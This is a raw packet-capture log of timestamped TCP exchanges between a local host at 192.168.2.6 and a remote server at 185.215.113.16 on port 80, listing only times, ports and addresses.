Oct 23, 2024 17:51:47.239268064 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239275932 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239289045 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239303112 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239305973 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239325047 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239336967 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239342928 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239348888 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239366055 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239368916 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239381075 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239392042 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239392996 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239406109 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239418030 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239418030 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239430904 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239438057 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239454031 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239468098 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239473104 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239480972 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239490986 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239500046 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239502907 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239516973 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239520073 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239528894 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239538908 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239540100 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239552021 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239554882 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239572048 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239578009 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239586115 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239598036 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239603043 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239609957 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239622116 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239629030 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239634991 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239648104 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239659071 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239660025 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239677906 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239701986 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239706039 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239732027 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239743948 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239774942 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239780903 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239788055 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239790916 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.239819050 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.239831924 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.240107059 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240120888 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240134001 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240174055 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.240267992 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240281105 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240294933 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240326881 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.240335941 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.240345001 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240359068 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240401030 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.240425110 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240437984 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240451097 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240463972 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240468979 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.240494967 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.240520954 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.240643024 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240657091 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240668058 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240679979 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240686893 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240691900 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240699053 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240699053 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.240711927 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240724087 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.240727901 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.240746975 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.240763903 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241080999 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241127968 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241241932 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241254091 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241266012 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241277933 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241290092 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241295099 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241312981 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241314888 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241328955 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241339922 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241343021 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241353035 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241358995 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241384983 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241394043 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241400003 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241408110 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241410971 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241429090 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241436958 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241450071 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241455078 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241466045 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241478920 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241478920 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241492033 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241504908 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241506100 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241517067 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241529942 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241570950 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241570950 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241607904 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241621017 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241635084 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241646051 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241667032 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241672993 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241683960 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241703033 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241703033 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241715908 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241722107 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241728067 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241741896 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241751909 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241751909 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241754055 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241765976 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241775990 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241777897 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.241790056 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.241822004 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242103100 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242115021 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242127895 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242161036 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242185116 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242280006 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242299080 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242311954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242322922 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242325068 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242333889 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242337942 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242356062 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242363930 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242368937 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242383003 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242383003 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242383003 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242393970 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242397070 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242408037 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242420912 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242443085 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242448092 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242455959 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242470980 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242475033 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242491007 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242494106 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242502928 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242512941 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242516041 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242528915 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242533922 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242552996 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242557049 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242568016 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242578983 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242579937 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242592096 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242604017 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242604971 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242616892 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242630005 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242635012 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242641926 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242652893 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242655039 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242666960 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242674112 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242686033 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242695093 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242698908 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242712021 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242722988 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242741108 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242767096 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242825031 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242836952 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242868900 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242892981 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.242944956 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242958069 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242969990 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242981911 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242995024 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.242995977 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243007898 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243021011 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243030071 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243050098 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243062019 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243138075 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243160009 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243171930 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243176937 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243184090 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243196011 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243201971 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243206024 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243216991 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243218899 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243231058 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243242025 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243243933 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243257046 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243273973 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243294001 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243304014 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243343115 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243422985 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243464947 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243570089 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243582010 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243593931 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243606091 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243618011 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243623972 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243642092 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243649960 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243655920 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243663073 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243668079 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243680000 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243691921 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243695974 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243712902 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243726015 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243726015 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243738890 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243751049 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243762970 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243763924 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243779898 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243784904 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243798971 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243807077 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243810892 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243824005 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243834019 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243837118 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243850946 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243851900 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243863106 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243879080 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243886948 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243899107 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243905067 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243912935 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243923903 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243927002 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.243952990 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.243978024 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.244025946 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244040012 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244060040 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244067907 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.244071960 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244081020 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.244086027 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244098902 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244108915 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.244118929 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244131088 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244132042 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.244132042 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.244142056 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.244143963 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244155884 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244160891 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.244172096 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244174957 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.244184017 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244196892 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.244223118 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.244508028 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244520903 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244534016 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244546890 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.244566917 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.244596004 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.354266882 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354280949 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354291916 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354357004 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.354396105 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.354413986 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354435921 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354448080 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354460001 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354470968 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354473114 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.354489088 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.354509115 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.354512930 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354523897 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354535103 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354545116 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354552031 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354556084 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354615927 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354623079 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354629993 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354710102 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.354734898 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.354911089 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354923964 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354938030 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.354967117 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.354994059 CEST	49900	80	192.168.2.6	185.215.113.16
